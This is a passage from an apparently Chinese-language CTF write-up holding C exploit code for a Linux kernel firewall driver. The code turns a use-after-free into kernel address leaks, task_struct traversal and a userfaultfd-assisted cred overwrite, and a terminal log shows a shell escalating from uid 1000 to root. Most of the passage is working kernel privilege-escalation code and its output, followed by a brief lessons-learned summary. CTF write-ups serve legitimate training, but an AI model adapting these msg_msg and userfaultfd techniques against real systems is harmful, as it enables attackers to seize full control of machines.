User_rule_t *user_rule=init_user_rule(idx,type,ip,netmask);
memcpy(user_rule,buf,0x20);
if(!flags){
memcpy(&(user_rule->ip),"qqqqqqqqqq",strlen("qqqqqqqqqq"));
memcpy(&(user_rule->netmask),"qqqqqqqqqq",strlen("qqqqqqqqqq"));
}
int ret=ioctl(fd,EDIT_RULE,user_rule);
// if(ret<0){
// err_exit("edit fail");
// }
}

int32_t make_queue(key_t key, int msgflg)
{
int32_t result;
if ((result = msgget(key, msgflg)) == -1)
{
perror("msgget failure");
exit(-1);
}
return result;
}


void get_msg(int msqid,void *msgp,size_t msgsz,long msgtype,int msgflag){
int ret=msgrcv(msqid,msgp,msgsz,msgtype,msgflag);
if(ret<0){
err_exit("msgrcv fail");
}
}
void send_msg(int msqid,void *msgp,size_t msgsz,int msgflag){
int ret=msgsnd(msqid,msgp,msgsz,msgflag);
if(ret<0){
err_exit("msgsend fail");
}
}



int main(){
int msg_id,size;
msg *msg_buff;
User_rule_t *user_rule_t;
size_t re_buf[0x2000/8];
size_t init_ipc_ns=0,kernel_base=0,init_task=0,init_cred=0;
int32_t pid;
uint64_t prev, curr;

fd=open("/dev/firewall",O_RDWR);
if(fd<0){
err_exit("open dev/firewall fail");
}

msg_buff=(msg *)malloc(0x2000);
page=malloc(0x1000);
page_size=0x1000;
add_rule(fd,0,INBOUND);
dup_rule(fd,0,INBOUND);

msg_id=make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
msg_buff->mtype=1;
memset(&(msg_buff->mtext),1,0x1000);
memset(re_buf,0,sizeof(re_buf));
del_rule(fd,0,INBOUND);
send_msg(msg_id, msg_buff, 0x1010 - 0x30, 0);

for(int i=0;i<0x50;i++){
int shmid;
if ((shmid = shmget(IPC_PRIVATE, 100, 0600)) == -1) {
err_exit("shmget");
return 1;
}
char *shmaddr = shmat(shmid, NULL, 0);
if (shmaddr == (void*)-1) {
err_exit("shmat");
return 1;
}
}
printf("[*] get kernel_base_addr...\n");
size=0x1500;
msg_header fake_msg_header;
fake_msg_header.ll_next=(void *)0x4141414141414141;
fake_msg_header.ll_prev=(void *)0x4242424242424242;
fake_msg_header.m_type=1;
fake_msg_header.m_ts=size;
edit_rule(fd,&fake_msg_header,0,OUTBOUND,0);
get_msg(msg_id, re_buf, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);

for(int i=0;i<0x2000/8;i++){
if((re_buf[i]&0xfff)==0x7a0){
init_ipc_ns=re_buf[i];
break;
}
}

kernel_base = init_ipc_ns - 0xc3d7a0;
init_task = kernel_base + 0xc124c0;
init_cred = kernel_base + 0xc33060;
init_cred_addr=init_cred;
printf("[+] init_ipc_ns: %p\n", init_ipc_ns);
printf("[+] kernel_base: %p\n", kernel_base);
printf("[+] init_task: %p\n", init_task);
printf("[+] init_cred: %p\n", init_cred);
memset(re_buf,0,sizeof(re_buf));
memset((void *)&fake_msg_header,0,sizeof(msg_header));

printf("[*] search this process task_struct\n");
fake_msg_header.m_type=1;
fake_msg_header.m_ts=size;
fake_msg_header.next=(void *)init_task+0x290;
edit_rule(fd,&fake_msg_header,0,OUTBOUND,1);
get_msg(msg_id, re_buf, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
memcpy((void*)&prev, (void *)(((char *)re_buf) + 0xfe0), 8);
memcpy((void*)&pid, (void *)(((char *)re_buf) + 0x10d8), 4);
printf("%d %d\n", pid, getpid());
while(pid!=getpid()){
curr=prev-0x298;
fake_msg_header.next=prev-0x8;
edit_rule(fd,&fake_msg_header,0,OUTBOUND,1);
get_msg(msg_id, re_buf, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
memcpy((void*)&prev, (void *)(((char *)re_buf) + 0xfe0), 8);
memcpy((void*)&pid, (void *)(((char *)re_buf) + 0x10d8), 4);
printf("%d %d\n", pid, getpid());
}

printf("[*] get this process task_struct:%p\n",curr);
printf("[*] now write for cred\n");

add_rule(fd,1,INBOUND);
dup_rule(fd,1,INBOUND);
del_rule(fd,1,INBOUND);

char *buf=mmap(0x200000,0x2000,PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
if(!buf){
err_exit("mmap fail");
}
msg_buff=0x200000+0x1000-0x8;
msg_buff->mtype=1;
target_addr=curr + 0x538 - 0x8;
size=0x1010;
registerUserFaultFd(0x200000+0x1000,0x1000,fault_handler_thread);


send_msg(msg_id, msg_buff, size - 0x30, 0);
pthread_join(monitor_thread,NULL);
usr_shell();

}

效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ctf@CoRCTF:/exp$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
ctf@CoRCTF:/exp$ /myexp
idx:0
[*] get kernel_base_addr...
[+] init_ipc_ns: 0xffffffffa603d7a0
[+] kernel_base: 0xffffffffa5400000
[+] init_task: 0xffffffffa60124c0
[+] init_cred: 0xffffffffa6033060
[*] search this process task_struct
0 86
86 86
[*] get this process task_struct:0xffff8d5c46128040
[*] now write for cred
idx:1
getshelling
[*]----getshell ok
root@CoRCTF:/exp# id
uid=0(root) gid=0(root)

总结

学习到了在拥有了4kb的uaf情况下如何使用msg进行任意地址读和任意地址写的手段,还对task_struct进行了直观的了解,当然msg不仅能用于4kb情况下的uaf,它的功能非常强大。